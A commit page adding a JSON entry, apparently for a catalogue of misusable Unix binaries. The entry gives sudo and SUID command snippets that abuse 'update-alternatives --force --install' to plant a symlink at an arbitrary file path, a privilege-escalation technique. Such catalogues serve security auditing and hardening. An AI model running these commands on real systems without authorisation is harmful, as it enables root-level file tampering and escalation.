add data source for update-alternatives

master
Mr. Robot 4 years ago committed by GitHub
parent 4d1c22a2e1
commit 2e22a90753
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,16 @@
{
"functions": {
"sudo": [
{
"description": "Write in [file] a symlink to $TF.",
"code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n"
}
],
"suid": [
{
"description": "Write in [file] a symlink to $TF.",
"code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n"
}
]
}
}
Loading…
Cancel
Save